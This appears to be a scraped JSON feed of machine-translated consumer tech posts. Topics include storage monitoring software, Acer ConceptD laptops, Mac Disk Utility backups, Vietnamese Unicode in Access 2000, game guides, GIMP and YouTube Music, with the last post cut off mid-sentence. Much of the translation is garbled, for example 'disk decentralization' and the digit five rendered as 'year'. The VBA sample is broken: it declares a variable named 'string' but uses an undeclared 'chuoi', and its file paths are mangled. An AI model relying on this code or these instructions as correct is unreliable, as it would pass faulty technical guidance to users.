starting at $ 1995 (46,000,000VDN) or more. Download the trial version of Nagios.\n5. SevOne   SevOne provides comprehensive reporting and monitoring capabilities for all components that contribute to the delivery of services and applications over the Internet. SevOne extends the ability to display network components, helping to reduce blind spots when troubleshooting.\nSevOne monitors the complete I / O path - including server CPU, memory, host bus adapter, switch port and storage array. SevOne helps predict congestion and improve storage performance.\nSevOne includes full SNMP support and has data collection scripts that allow users to support non-SNMP data (may indicate a potential problem). SevOne automatically sets the baseline of the normal operating storage environment, so that it can send alerts and assist users to solve problems, whenever the performance deviates from the expected behavior.\nSevOne also maintains performance history within 1 year, so users always have detailed information about all events.\nThe main features of SevOne are:\nActively give warning Instant report feature and expandable report Complete NetFlow version compatibility Display network connection status L2 / L3 in real time The Selective Discovery feature automatically tracks selected detected objects Download SevOne.\n6. AppDynamics Storage Performance Monitor   AppDynamics has a fully featured and reliable option, covering the entire range of network-based monitoring and management, from applications, transactions, services, nodes, servers, database calls , remote services, etc.\nAppDynamics Storage Performance Monitor provides real-time visibility into inbound and outbound throughput (incoming and outgoing traffic), protocol activity and performance metrics for all servers across the network, making it easy Find out the cause of the problem quickly and solve the performance problem effectively. AppDynamics Storage Performance Monitor analyzes and alerts by tracking storage performance trends over time.\nSome key features of the AppDynamics Storage Performance Monitor include:\nAppDynamics APM automatically detects, maps and visualizes important services and components Directly integrated with ServiceNow, PagerDuty and Jira allow immediate warning Deep diagnostic capabilities, determine the root cause of the problem Real-time correlation for data AppDynamics offers a 15-day free trial. Download the AppDynamics trial version.\n7. PowerAdmin Storage Monitor   PowerAdmin is very compact and simple, focusing primarily on storage management. PowerAdmin Storage Monitor has the Disk Space Monitor feature, which allows users to add the desired driver and then set the warning threshold.\nUsers can also track specific folders that are mounted from a server or other device. PowerAdmin Storage Monitor has File System Analyzer to check a drive (local drive, network drive, etc.) and record information about each folder, file and owner. .\nPowerAdmin tool can act as an intrusion detection system by monitoring all server changes. PowerAdmin Storage Monitor allows users to schedule reports to be generated automatically at the end of the data collection session, and send reports based on HTTP for viewing in the storage management software control panel or from a web browser.\nSome features of PowerAdmin Storage Monitor include:\nReport on a rich schedule Other types of alerts and actions are configurable Monitor user and directory quota Monitor specific file sizes Monitor changes in files and folders File system analysis based on reports Monitor disk space PowerAdmin Storage Monitor provides a 30-day free trial. The paid version is priced at $ 250 (6,000,000 VND) or more with one year of support and maintenance included.\nDownload PowerAdmin Storage Monitor (free).\n8. EG Enterprise   EG Enterprise storage monitor is a unified monitoring, diagnostic and reporting solution for storage infrastructure. Administrators can monitor all storage devices and relate storage performance correlations with other layers. All is done from the central web control panel.\nEG Enterprise makes it easy to detect and fix situations that occur when storing, which causes performance disruptions. EG Enterprise provides a wide coverage and deep visibility into the components of the storage system: fiber channel switch, host port, controller (controller), LUN, physical drive, memory cache and host.\nEG Enterprise provides history of trends, baselines and reports to help calibrate existing infrastructure and plan for future developments. The monitoring function of EG Enterprise can reveal anomalies in any temperature sensor and UPS.\nEG Enterprise isolates storage performance bottlenecks by performing health checks on all device ports, drive groups, etc. EG also offers a free trial version.\nSome key features of EG Enterprise are:\nAbility to display comprehensive performance Monitor user experience Track web transactions handled by applications and display them in flow charts Provide detailed information in the intuitive control panel Support applications and cloud infrastructure Automatically detects objects in the network and presents them as visual maps Automatically diagnose root cause Download EG Enterprise (free trial version).\nncG1vNJzZmismaXArq3KnmWcp51khW6uxKyrZqukpL%2Bis8RmpJqmkZyyrrHNrWSappRiurC6yK2mq6GenHq0u8WtrpqqlQ%3D%3D\n","link":"/post/8-best-storage-management-and-monitoring-software/","section":"post","tags":null,"title":"8 best storage management and monitoring software"},{"body":"Acer has just officially announced the ConceptD product line, the new premium brand of this Taiwanese laptop manufacturer, designed specifically for those who do creative work. Basically, Acer took the form of its gaming laptop, added some tweaks and tweaks to turn them into devices that focused more on tasks such as editing and illustrating videos and specialized images. career.\n  More than 70+ Avengers: Infinity War wallpapers with high resolution for computers, laptops This new product line is expected to include 3 models in 3 price segments as well as separate features: ConceptD 9, ConceptD 7 and ConceptD 5. In it, ConceptD 9 will be the flagship of ConceptD line, and follow the house. In Taiwan, the product was developed to serve specifically in tasks related to drawing and working with 3D graphics. ConceptD 9 owns a 17.3-inch 4K screen with Ezel Aero Hinge technology (similar to the one used on the high-end Acer Predator Triton 900 PC), as well as the integrated Wacom pen support.\n  First picture of Windows Lite, a compact operating system for 2-screen laptops Due to being the most advanced product in the high-end segment, the hardware configuration of ConceptD 9 will certainly not disappoint you, with the 9th generation Intel Core i9 processor, up to 32GB RAM, RTX 2080 GPU and 512GB or 1TB of storage with NVMe SSDs. Besides, ConceptD 9 can also be considered as a product that Acer uses quite a lot of experience that it has gained from success with top-of-the-line gaming laptops on a product line aimed at completely new user icon, it's creators. For example, ConceptD 9 is equipped with 3D Aeroblade fan technology like on its flagship gaming products, while being supported with Wacom pens.\nSpeaking a bit about the 'junior' of ConceptD 9, ConceptD 7, this product is smaller in size with a 15.6-inch 4K screen and the specs of course will also be a bit lower. The 'heart' of ConceptD 7 is the 9th generation Intel Core i7 processor and 2 options of RTX 2080 Max-Q or RTX 2060 GPU. However, the plus points are the hard drive and RAM storage options. Equivalent to ConceptD 9. Also, since it is a product in the lower segment, ConceptD 7 will of course not be able to support some of the high-end features on ConceptD 9 such as the flip screen and the integrated Wacom pen.\n  The best laptop models for video editing 2019 Finally, 'the youngest' ConceptD 5. This product of course will have much lower specs (and perhaps selling prices) than the seniors, but to be fair, it is still a computer model is quite strong compared to popular devices on the market today. Like ConceptD 7, ConceptD 5 also owns a 15.6-inch 4K base plate, but the CPU will stop at only two options, namely Core i7 and Core i5 (8th generation), along with AMD Radeon RX graphics card. Vega M ensures 'acceptable' graphics processing capabilities. RAM on ConceptD 7 is limited to 16GB or 8GB, with storage options including 256GB SSD, 512GB or 1TB.\n  CES 2019: The development trend of the laptop world Overall, there are many things to 'love right away' on this new product line of Acer, which can be mentioned as modern design (big screen, no border, thin), great hardware power, and especially designed to provide maximum support for a certain work group, making it easier for users to choose the device that suits their usage needs. It can be said that the final piece to decide whether ConceptD is the most valuable computer in 2019 is the price, and it is true that Acer is always known as a manufacturer with valuable products. sell on very good performance.\nBesides selling price, Acer has not given any other information about the release date or the open market specifically for this product line. We will inform you as soon as new information becomes available.\nncG1vNJzZmismaXArq3KnmWcp51krqSx0Wasp66VnrmmsIyipZ%2BnoqKutbXOp2Samp%2BqwW66xLBkoaGXnbKvsIycpqeblaXBpXnLmqetp6CoeqbEwqWsrKGmmrm6ecWoqWabopqutbXVnmSpnZ%2BluaY%3D\n","link":"/post/acer-unveiled-information-about-new-high-end-conceptd-laptops-exclusively-for-creative-people/","section":"post","tags":null,"title":"Acer unveiled information about new high-end ConceptD laptops, exclusively for creative people"},{"body":"A rather interesting information has just appeared on Digitimes yesterday, said Apple is about to unveil a new version of the ultra-thin MacBook Air, a popular mobile device with a small screen only 11.6 inches.\n  MacBook Air is about to have a miniature version.\nDigitimes also said ' Apple ' is also preparing to offer a new iPod Touch music player using A4 processor integrated in the iPhone 4 and iPad tablet phones. The information was revealed by Apple component makers in Taiwan, including Quanta Computer.\nBoth products will be available in the second half of this year, with the iPod Touch player coming out in August or September.\nThe new MacBook Air will be equipped with an 11.6-inch screen, and the design of this new laptop is even thinner and lighter than the ' elder '. It is equipped with Intel Core super-power processor. It seems that Apple has changed its notion of netbooks even before it vigorously criticized the mini-laptops running Windows operating systems. Apple's current MacBook Air has a 13.3-inch screen.\nAccording to Digitimes , iPod Touch music player owns 3 megapixel camera and A4 chip set.\nDigiTimes also made predictions about the sales of these upcoming products. Accordingly, in 2010, Apple will sell 17-18 million new iPod Touch, but MacBook Air sales are only modest at 400,000 units.\nAfter two years of market launch without improvement, upgrade, the ultra-thin MacBook Air laptop was gradually forgotten when new competing products appeared, especially Dell Adamo XPS rival. . The biggest obstacle to the MacBook Air for personal users is the selling price. The price of 1,800 USD has caused many customers to regret being cheap because of insufficient budget to buy, even when Apple lowered the price of MacBook Air to 1,500 USD, the situation was not satisfactory.\nncG1vNJzZmismaXArq3KnmWcp51krrG8y55koqtdlq%2BwwdNmq6hlpaPDprXLZquhnV2itq%2B1wK2sq51doq6krs6oomaZmac%3D\n","link":"/post/apple-is-about-to-unveil-the-miniature-macbook-air/","section":"post","tags":null,"title":"Apple is about to unveil the miniature MacBook Air"},{"body":"You may have heard the advice of backing up the boot drive before making any system updates. That is a great idea, but you may be wondering how to accomplish this.\nThis tutorial will show you one of the many methods available to backup your boot drive. This process usually takes half an hour to 2 hours or more, depending on the size of the data you are backing up.\nHow to use Disk Utility to backup the boot drive 1. How to back up the boot drive using Disk Utility What needs to be prepared?  2. Before backing up, verify the destination drive with Disk Utility Verify destination drive Verification Errors  3. Check the permissions of the boot drive on your Mac Fix disk decentralization  4. Start the process of copying the boot drive on a Mac Make backups  5. Check the Mac boot capacity of the created copy Use the Boot Manager  1. How to back up the boot drive using Disk Utility   Disk Utility's Restore tab can create a copy of the boot drive.\nIn this tutorial, we will use OS X's Disk Utility to perform backups. Disk Utility has two features that make it a great candidate for backing up boot disks. First, Disk Utility can create a bootable backup, so you can use it as a boot disk in an emergency. Second, it's free. You already have Disk Utility, because it is included in OS X.\nWhat needs to be prepared? Disk Utility, part of OS X and available at / Applications / Utilities /. Internal or external hard drives are large enough to store data on the current boot drive. A drive does not contain any data you want to keep. The method to be used will delete the target drive during the backup process. The destination hard drive can be an internal or external hard drive. If it is an external hard drive, there are two things to consider that determine if the backup you created can be used as an emergency boot drive.\nExternal FireWire hard drives can be used as boot drives on both PowerPC-based Macs and Intel-based Macs. External USB hard drives can be used as boot drives on Intel-based Macs, and PPC-based Macs do not. Be sure to check if you can boot from your external device. An easy way to make sure is to create a bootable backup of the OS X installer, then try booting from that external device. External Thunderbolt memory works as a boot drive for any Mac that has Thunderbolt ports. Even if the backup drive cannot be used as a boot drive, you can still use it to restore the original boot drive if needed (just a few more steps to recover the data is possible).\n2. Before backing up, verify the destination drive with Disk Utility   Be sure to verify and repair the destination drive, if needed, before you create a backup. Before you back up the boot drive, make sure that the destination drive has no errors, which can prevent backups from being performed.\nVerify destination drive B1 : Launch Disk Utility, located at / Applications / Utilities /. B2 : Select the destination drive from the device list in Disk Utility. B3 : Select the First Aid tab in Disk Utility. B4 : Click the Verify Disk button . The drive verification process will start. After a few minutes, the following message will appear: 'The volume {volume name} appears to be OK' . If you see this message, you can move on to the next step.\nVerification Errors If Disk Utility lists any errors, you will need to repair the drive before continuing.\nB1 : Select the destination drive from the device list in Disk Utility. B2 : Select the First Aid tab in Disk Utility. B3 : Click the Repair Disk button . The drive repair process will start. After a few minutes, the following message will appear: 'The volume {name of volume} has been repaired' . If you see this message, you can move on to the next step.\nIf an error is listed after the repair is complete, repeat the steps listed above in Verification Errors. Disk Utility can sometimes fix only a few errors in one run, so it may need to repeat the process several times before you receive a message saying the repair is complete, no longer available. any more errors.\n3. Check the permissions of the boot drive on your Mac   You should modify the permissions on the boot drive to make sure all files are copied correctly to the copy.\nNow that you know the destination drive is in good condition, make sure that the source drive and the boot drive have no problem with the authorization. Authorization issues can prevent the necessary files from being copied or transferred to bad backups, so this is a good time to perform this routine maintenance.\nFix disk decentralization B1 : Select the boot drive from the device list in Disk Utility. B2 : Select the First Aid tab in Disk Utility. B3 : Click the Repair Disk Permissions button. The decentralization repair process will start and may take a few minutes, so be patient. When finished, you will see the \"Permissions repair complete\" message . Don't worry if the Repair Disk Permission process creates many warnings, this is normal.\n4. Start the process of copying the boot drive on a Mac   With the destination drive ready and the rights of the boot drive verified, it's time to make the actual backup and make a copy of the boot drive.\nMake backups B1 : Select the boot drive from the device list in Disk Utility. B2 : Select the Restore tab . B3 : Click and drag the boot drive into the Source field . B4 : Click and drag the target drive into the Destination field . B5 : Choose Erase Destination. B6 : Click the Restore button . During the backup creation process, the target drive will be unmounted (disconnected) from the desktop, and then mounted again. The target drive will have the same name as the boot drive, because Disk Utility has created an exact copy of the source drive, according to its name. When the backup process is complete, you can rename the target drive.\nNow, you have an exact copy of the boot drive. If you plan to create a bootable copy, this is a good time to ensure that it will act as a boot drive.\n5. Check the Mac boot capacity of the created copy To confirm that the backup will actually work as a boot drive, you will need to reboot the Mac and verify that it can boot from the backup. The easiest way to do this is to use the Mac's Boot Manager to select a backup as the boot drive. The article will use the Boot Manager to run during the boot process, instead of the Startup Disk option in System Preferences , because the choice you make when using Boot Manager only applies to that specific boot process. The next time you start or restart your Mac, the default boot drive will be used.\nUse the Boot Manager B1 : Close all applications, including Disk Utility. B2 : Select \"Restart\" from the Apple menu. B3 : Wait for the screen to turn black. B4 : Hold down the Option key until you see the gray screen with icons of the hard drive that can boot. This may take some time, so be patient. If you are using a Bluetooth keyboard, wait until you hear the Mac boot sound before you hold down the Option key. B5 : Click the icon for the backup you just made. The Mac will now boot from the backup of the boot drive. When the desktop appears, you will know that the backup can be used as a boot drive. You can restart the computer back to the original boot drive.\nIf the new backup fails to boot, the Mac will stall during the boot process, and then automatically restart with the initial boot drive. Backups may not start due to the type of connection (FireWire or USB) that the external hard drive uses (return to the first section of this tutorial for more information).\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kr6KvymasqWWknbJurs6oq2acop7DpnnUrKCnn12ZtrS3jK6roqSZqcY%3D\n","link":"/post/back-up-the-boot-drive-using-disk-utility/","section":"post","tags":null,"title":"Back up the boot drive using Disk Utility"},{"body":"Have you ever had problems with Vietnamese Unicode in your Access applications? A problem that many readers encounter in Access 2000 (running on Win98), when executing the function to convert numbers to letters (for example, \"123\" to \"one hundred and twenty three\") uses Vietnamese Unicode when sending the form. Vietnamese words cannot be displayed. Before solving the problem we need to clarify some points. Usually Office 2000 uses VBA version 6.0 language to write code. On Win9x or WinMe, there are two drawbacks when using Unicode in programming to display Unicode strings on interface elements: \n 1. The VBA code editing environment does not allow you to enter correctly Unicode strings. \n 2. VBA standard version, version 6.0 does not display Unicode strings. To overcome these two obstacles, you should: \n 1. Enter Unicode string in the interface design window and code editor window in UTF-8 format because this format is compatible with traditional ASCII code. Of course, before When using UTF-8 string properly, you need to convert it to USC-2 format by calling the Windows API function named MultibyteToWideChar (). \n 2. Instead of using the available interface objects of the VBA design environment, you must use the corresponding Form2 objects. \"Microsoft Form 2.0 Object Library\" is a library of interface objects that Microsoft recently wrote to support the correct Unicode code. We have written a simple form, there is a textbox to enter numeric values, a textbox to display the corresponding text string (in the simplest form, essential to illustrate the handling of Unicode strings), 1 button allows turning numbers into strings. The objects used are in the \"Form 2.0\" library. This application development process includes the following specific steps: \n 1. Because VB's Declare statement does not properly declare API functions with parameters that are Unicode strings, you must first build a type library (type library) containing the MultiByteToWideChar () function for use in the application. Use a text editor to compose the TypeLib library specification that contains the MultiByteToWideChar () function in the ODL language as follows (store the content on the uniutil.odl file): [ uuid (13C9AF40-856A-101B-B9C2-04021C007002), helpstring (\"WIDE Windows API Type Library\") ] library WideWin32API { [ helpstring (\"KERNEL API Calls\"), dllname (\"KERNEL32\") ] module KernelAPI { [ helpstring (\"Convert a UTF8 string to a UCS-2 string.\"), entry (\"MultiByteToWideChar\") ] long _stdcall MultiByteToWideChar ( [in] long CodePage, [in] long dwFlags, [in] BSTR lpMultiByteStr, [in] long cchMultiByte, [in] BSTR lpWideCharStr, [in] long cchWideChar ); }; }; 2. Translate the ODL file into an uniutil.tlb type library file using the mktyplib.exe utility. To get this utility, you can install Visual Studio 6.0, if you install in Typical mode, the VS will be installed in the \"c: Program Files Microsoft Visual Studio\" folder. If so, to translate the above uniutil.odl file, create a DOS Prompt window, use the cd command to return to the directory containing the uniutil.odl file, then enter the following two commands sequentially to translate it: c: progra ~ 1micros ~ 3vc98binvcvars32.bat mktyplib / I c: progra ~ 1micros ~ 3vc98include / win32 / tlb uniutil.tlb uniutil.odl Suppose the short name of the \"Program Files\" folder is progra ~ 1, of the \"Microsoft Visual Studio\" folder is micros ~ 3. \n 3. Run VB, create 1 project \"Standard Exe\" to manage the application. \n 4. Right-click an empty spot in the ToolBox window, select \"Components .\" to display the \"Components\" window, click the Controls button, browse to \"Microsoft Forms 2.0 Object Library\" and select it to add the interface element in this library into Project VB's Toolbox. \n 5.Select Project.References menu . to display the References window, press the Browse button and browse the file system to select the uniutil.tlb file created in step 1 to add it to Project.\n  6. Draw each element in turn: 1 TextBox has the attribute Name = txtSo; 1 Label combination with attribute Caption = \"Please enter the number:\"; 1 CommandButton has Caption = \"Start transfer\" attribute and attribute Name = cmdChuyenSo; Another TextBox has the attribute Name = txtChuoi; 1 Label combination has Caption = \"Equivalent string:\". Note that you must use the Vietnamese language support capable of creating UTF-8 code (VietKey 2000, GVSBK 2.2, .) and choose this code for entering Vietnamese strings while designing forms and writing code. Note also that the elements to be drawn are elements of the \"Microsoft Forms 2.0 Object Library\" library, rather than standard VB elements (usually they are at the bottom of the ToolBox window). After the design is complete, the form will have the following form (note the UTF-8 strings are difficult to read): \n 7. Create event handling procedure Click the cmdChuyenSo button and then enter the form's code writing window to enter the following program segment: Option Explicit 'sequence contains UTF8 string describing the digits 'code signed 0 to 9 is 48 to 57 Dim dayUTF8 (48 To 57) As String 'sequence contains the string UCS2 describing the digits Dim dayUCS2 (48 To 57) As String 'Procedure to start Form Private Sub Form_Load () Dim s As String Dim x () As Byte Dim ret As Integer Dim i As Integer dayUTF8 (48) = \"no\" dayUTF8 (49) = \"one\" dayUTF8 (50) = \"two\" dayUTF8 (51) = \"three\" dayUTF8 (52) = \"four\" dayUTF8 (53) = \"year\" dayUTF8 (54) = \"six\" dayUTF8 (55) = \"seven\" dayUTF8 (56) = \"eight\" dayUTF8 (57) = \"nine\" 'Transfer caption of cmdChuyenSo button to Unicode x = StrConv (cmdChuyenSo.Caption, vbFromUnicode) ret = MultiByteToWideChar (65001, 0, x, -1, s, 0) s = Space (ret) ret = MultiByteToWideChar (65001, 0, x, -1, s, ret) cmdChuyenSo.Caption = s 'Convert caption of label lblSo to Unicode x = StrConv (lblSo.Caption, vbFromUnicode) ret = MultiByteToWideChar (65001, 0, x, -1, s, 0) s = Space (ret) ret = MultiByteToWideChar (65001, 0, x, -1, s, ret) lblSo.Caption = s 'Switch the caption of label lblChuoi to Unicode x = StrConv (lblChuoi.Caption, vbFromUnicode) ret = MultiByteToWideChar (65001, 0, x, -1, s, 0) s = Space (ret) ret = MultiByteToWideChar (65001, 0, x, -1, s, ret) lblChuoi.Caption = s 'Convert UTF8 strings to describe Unicode digits For i = 48 To 57 x = StrConv (dayUTF8 (i), vbFromUnicode) ret = MultiByteToWideChar (65001, 0, x, -1, s, 0) s = Space (ret) ret = MultiByteToWideChar (65001, 0, x, -1, s, ret) dayUCS2 (i) = Left (s, Len (s) - 1) Next i End Sub 'click event handler function Private Sub cmdChuyenSo_Click () Dim so () As Byte Dim string As String Dim i As Integer chuoi = \"\" so = StrConv (txtSo.Value, vbFromUnicode) For i = 0 To Len (txtSo.Value) - 1 chuoi = chuoi \u0026amp; dayUCS2 (so (i)) \u0026amp; \"\" Next i txtChuoi.Value = chuoi End Sub When running, the form displays as follows (Unicode strings are displayed correctly):\n  Nguyen Van Hiep ncG1vNJzZmismaXArq3KnmWcp51ksaq%2Fz6WYsmWmnrK1usCmnKydXaq7qq%2FOnZxmrJWtwW61zWaYnJuVqMBufo9pZw%3D%3D\n","link":"/post/display-vietnamese-unicode-text-in-access-2000/","section":"post","tags":null,"title":"Display Vietnamese Unicode text in Access 2000"},{"body":"Merge Tactics Kingdom Defense Developed by LoadComplete, Merge Tactics Kingdom Defense is one of the hottest games right now. In the game, players can collect more than 40 different types of generals (units), build their kingdom and plan to defeat the enemy.\nIn addition, players can collect loot to upgrade their kingdom to become richer and stronger.\nTip: If you do not have Merge Tactics Kingdom Defense installed, you can access here to download the game and install it.\nLink download Merge Tactics for Android Link download Merge Tactics for iOS Guide to playing Merge Tactics Kingdom Defense for newbies 1. Select and upgrade generals First you will have to complete the missions in the game to unlock and receive many different types of generals, and use gold or gems to upgrade generals. By upgrading generals to get experience points, and to level up and help unlock new types of generals for you.\nHowever, it is important to note that players can only choose up to 4 different types of champions.\n  With enough silver, you can create an unlimited number of champions on the battlefield. Silver coins in Merge Tactics Kingdom Defense are used to create the number of fighting heroes. The more silver coins, the more heroes you can deploy.\nThere are 4 different types of generals in Merge Tactics Kingdom Defense, including Ranged (ranged hero), Tank (Tank hero), Magical and Support (support hero).\n2. Unlock works in game By using gold or gems to unlock locations and buildings in the game to help players receive items and rewards to improve stats, increase the amount of money, increase melee stats, . .\n  In Merge Tactics Kingdom Defense, there are many buildings that you can unlock such as the mage tower, gemstone mines, .\nIn addition, to earn more gold in the Merge Tactics Kingdom Defense, the player can:\n- Complete the quests. - Open chests for free. - Collect coins. 3. Protect the Kingdom In the higher levels of play, players will have to constantly confront invading enemies. To reverse the situation, you need to build yourself a powerful army, including:\n- 2 Prime Minister (Ranged class). - Knight or Paladin (Melee class). - A Magical General.   4. Complete the missions to receive rewards Completing quests in a specified amount of time not only gives you gold coins, but also gives chests for free. There is only one note that you can only participate in completing quests if you have a quest code. This code can be found in quests or in chests.\nIn case if the mission is complicated and cannot be completed, the player can use gems to refresh the quest.\nThere are many ways to earn gems or gold coins in Merge Tactics Kingdom Defense, such as completing combat missions, using generals in main missions, .\n5. Upgrade generals If you are a new player, you will have to familiarize yourself with commanding skills to build your own generals. Note that a deck of cards only consists of 4 champions, you can choose 1 Tank, 2 Archers and 1 Support or 1 Magical. Each general in the game has its own skills and abilities.\n  6. Earn EXP to unlock Endless Mode Experience or experience points can be used to level up or unlock Endless Mode in the game. Once you level up, you will receive rewards, level up items as well as Loot chests (containing gold and blocks).\nYour task is to collect as much experience as possible. There are many ways to get experience points, such as unlocking and upgrading buildings, .\nIn addition, when reaching level 5 or higher, players also have the opportunity to unlock Endless Mode.\n7. Complete the reward quest in Endless Mode Endless Mode is a brand new mode in Merge Tactics. When in this mode you will have to face a series of enemies, not limited to number. Your mission is to defend your Kingdom for as long as possible, to get many different loot after the battle.\n  The biggest limitation is that after each match, players will have to wait about 1 hour to come back and play in Endless Mode. Also make sure to reach a maximum of level 5 to unlock this mode.\nTipsMake's above article has just guided you how to play Merge Tactics Kingdom Defense for newbies. If you are a fan of strategy games, do not hesitate to download Merge Tactics Kingdom Defense and install it to experience the gameplay. ncG1vNJzZmismaXArq3KnmWcp51ktLa1w55kraddpbmixcinnmallae0pnnTmpqtoZOoeqy1zaCbqKVdmbKnsc2snGaen6d6r7HWm6Ceqw%3D%3D\n","link":"/post/guide-to-playing-merge-tactics-kingdom-defense-for-newbies/","section":"post","tags":null,"title":"Guide to playing Merge Tactics Kingdom Defense for newbies"},{"body":" NPCscan is a program add on created to enhance World of Warcraft. You can use the program to scan your character files and alert you to Non-Player Character (NPC). You can learn how to clear the NPCscan cache, in order to reset NPCscan to...\ninstall folder  Jessica Tanner Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpucmq6zec2pmqybkaN6pK3CoZw%3D\n","link":"/post/how-to-clear-npcscan-cache/","section":"post","tags":null,"title":"How to Clear NPCscan Cache"},{"body":"Some Android devices currently have an application search bar, or other content, but are generally limited, not yet able to find many other content. If so, you can use the Sesame app to create a search bar on Android devices. This search bar will expand the search content on Android devices, helping users find content quickly. The following article will guide you how to add the search bar on Android devices.\nInstructions for creating the search bar on Android Step 1:\nRead the Sesame application for Android devices by following the link below.\nDownload the Sesame Android app The application will require users to allow access to some applications and content on the device to be able to search further. You accept so the application is set up.\nStep 2:\nAfter you have set up the Sesame application, clicking on the application will see the search bar displayed as below. Now you are free to search for apps, song titles, or even contacts in your phonebook to call and text without having to access Contacts like before.\nStep 3:\nFor quick access to the search bar, you should create Sesame's Widget on the screen. Press and hold on the screen and select Icon widget . Then in the new interface you click on the search bar of Sesame and then select and hold on the screen. At this time, the search bar is shown as below.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyapWaZnpm%2FsLXDZqqemaKYtW6uwKtksKGknXq0sdKapJ4%3D\n","link":"/post/how-to-create-an-android-search-bar-with-sesame/","section":"post","tags":null,"title":"How to create an Android search bar with Sesame"},{"body":"Surely the super classic Super Mario game is extremely familiar to many generations of gamers, especially the four-button electronic generation. And Super Mario Run will bring the game player to meet the Mario guy with a red suit featured, the ability to move flexibly to overcome all challenges along the way. However, the Nintendo manufacturer changed the way it played, blowing a new breeze into the familiar Super Mario game, changing the play to Endless Running, racing without ending.\nAnd after bringing Super Mario Run to the App Store, now those who use Android devices can also download games and experience each level. So is the play of Super Mario Run different from the original Super Mario? Join the Network Administrator to discover how to play in the article below.\nSuper Mario Run game play on Android Download the Super Mario Run Android game Download the Super Mario Run iOS game Step 1: Currently, Super Mario Run is available on Google Play and any Android device from OS 4.2 and above can click Install to download the game to your computer.\n   Step 2: After you have access to the main interface of the game, we will need to choose the language to play here is English English , then select your Country , but here is Vietnam then click OK .\n   Step 3: In the next interface, press Later and select Agree to skip.\n   Step 4: Next, let's name the character in the Super Mario Run game. During the game, players can change the avatar, as well as the name of the character playing. The avatar and the character's name will all be in public mode, click OK to continue. So you've entered the world of super-fast running with Mario in the Super Mario Run game.\n   Step 5: We can see the graphics in the game are extremely rich with many different color scenes. The first playing interface will be a guide to help gamers better understand how to play, how to jump over obstacles like deep holes, . Mario will automatically jump over small obstacles. , like turtles, wooden boxes, . What you need to pay attention to is deep holes and more dangerous obstacles.\n   When the player touches the screen, the character will jump. If you click on the screen, it will jump higher. During the game, you can press the Pause icon in the left corner of the screen to stop playing.\nHowever, keep in mind that the game is a little different from the games in the Endless Running category like Temple Run, Lara Croft: Relic Run. The path in Super Mario Run will have many different types of obstacles, such as pillars and you have to jump from one position to another in order to gain valuable gold coins, as well as Other useful items.\n   Step 6: At the end of a level, you will come to your kingdom's interface. There will be different options lists for users to choose from.\nWhen you click on the menu, there will be options to install sound, image, . When clicking on the Tour column, here will appear 6 different playing worlds , with each table going through the test Challenge to increase the difficulty to reach the final destination to rescue the Princess.\n    Rally (Toad Rally) is an online game mode that challenges your friends all over the world to compete against each other in each level. At the end of each level we will get a certain item called Toad and will be imported into the Rally Ticket to calculate your ranking.\n    Section Bulid we will come with the task of building our kingdom, buying the necessary buildings for the kingdom with gold coins and the number of Toads collected.\n    Step 7: When clicking on the Friends icon above, we will invite friends to join the game or get an invitation to join the game from others.\n   In addition, with the gift box icon, players will have the opportunity to receive for themselves many parts that are often attractive when achieving a certain achievement or requirement. These common parts will definitely help us a lot during the gaming journey.\n   In general, the play of Super Mario Run is varied and rich through each game screen, much more strange style than the Endless Running games of the same type, from the way of obstacles to the building element of the kingdom in game. The instructions in the game are simple and easy to understand, so at first you just need to press OK and follow all instructions to get used to it. Let's embark on the journey to score points with Mario and rescue the Princess in Super Mario Run.\nRefer to the following articles: Let's train with the game Don't Stop! Eighth Note on PC Summary of codes, commands in GTA Street Pirates game Instructions for installing PPSSPP on iPhone / iPad not Jaibreak Wish you all have fun playing games!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZJqmlGK9ra3YZqquqJWneq6t0aKmZqqlo3qorcyeZKimXZa7pb7Oops%3D\n","link":"/post/how-to-download-and-play-super-mario-run-game-on-android/","section":"post","tags":null,"title":"How to download and play Super Mario Run game on Android"},{"body":"The text outline (drawing more borders) in documents or publications will become eye-catching and attractive. The text can even appear in 3D. Fortunately, you don't need an expensive software program to create it. Using the free GIMP image editing application, you can also create custom text and create outline for it with colored borders to your liking. It is important to use GIMP layer tools.\n1. Open GIMP. Go to the \"File\" menu , click \"New\" and select \"OK\". Or, press \"Ctrl + N\" to open a new image.\n  2. Click the \"Text Tool\" button in Toolbox or go to the \"Tools\" menu and select \"Text\". Click on the canvas image to open the GIMP Text Editor . Enter the text you want and click \"Close\". Choose a font, size and color in the Text section of Toolbox. Reselect the text and click the \" Path from Text \" button in Toolbox.\n3. Go to the \"Layer\" menu and select \"New Layer\". Select \"Transparency\" and click \"OK\". Go to the \"Select\" menu and click \"From Path\" to select the outline of the text in the new layer.\n  4. Go to the \"Select\" menu and select \"Grow\" to expand the outline. Enter a number between \"3\" and \"6\" on the Grow Selection By Box, depending on the width you want the outline to appear.\n5. Go to the \"Tools\" menu, point to \"Paint Tools\" and select \"Bucket Fill\" or click the \"Bucket Fill\" button in Toolbox. Select a color and click the outline area with the Bucket Fill tool to color the outline.\n6. Go to the \"Select\" menu and select \"None\" or press \"Shift + Ctrl + A\" to delete the selection and show the text with an outline.\nHope you are succesful.\nSee more:\nHow to use Paintbrush in GIMP How to rotate selections in GIMP How to remove pixels in GIMP ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyilsRurs6rm56qo2KzsL6MrZyxrF2eu26zyKan\n","link":"/post/how-to-draw-borders-for-text-in-gimp/","section":"post","tags":null,"title":"How to draw borders for text in GIMP"},{"body":"Google Play Music has been discontinued since 2018, and according to the latest announcement from Google, the music platform will soon be completely removed in the near future (most likely later this year). YouTube Music is the platform that Google 'selected to send gold' to replace Google Play Music, and to make the transition between the two platforms simpler, Mountain View Company has added features for Allows users to access and transfer their entire music library from the old application to the new application easily and quickly.\nTo transfer music library from Google Play Music to YouTube Music, you only need to do a few simple steps.\nFirst, check that you have updated the music library access feature. Google has a habit of launching new features in the form of batch updates, corresponding to each country / region. Therefore, not all YouTube Music users around the world can experience the new feature at the same time and if not, you will have to wait.\nConversion feature has not been updated You can perform the music library conversion process from the YouTube Music application or on the web browser. For the web version, you can visit the YouTube Music Transfer page and follow the instructions. In the case of converting music library from the application, you will see a message saying that the conversion can be performed as soon as the application is opened (it will also appear as an option in the settings).\nAt the start of the conversion process, the system will display all the content that you can transfer from Google Play Music to, including 'your uploads, purchases, added songs and albums, personal and subscribed playlists, likes and dislikes , 